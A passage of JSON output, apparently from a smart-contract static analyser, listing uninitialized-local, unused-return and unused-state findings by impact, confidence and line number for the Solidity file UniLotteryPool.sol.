{"UniLotteryPool.sol": [3890]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2593]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6653]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6507]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5051]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5057]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5087]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5060]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5054]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1871]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7786, 7787, 7788, 7789, 7790]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5082]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 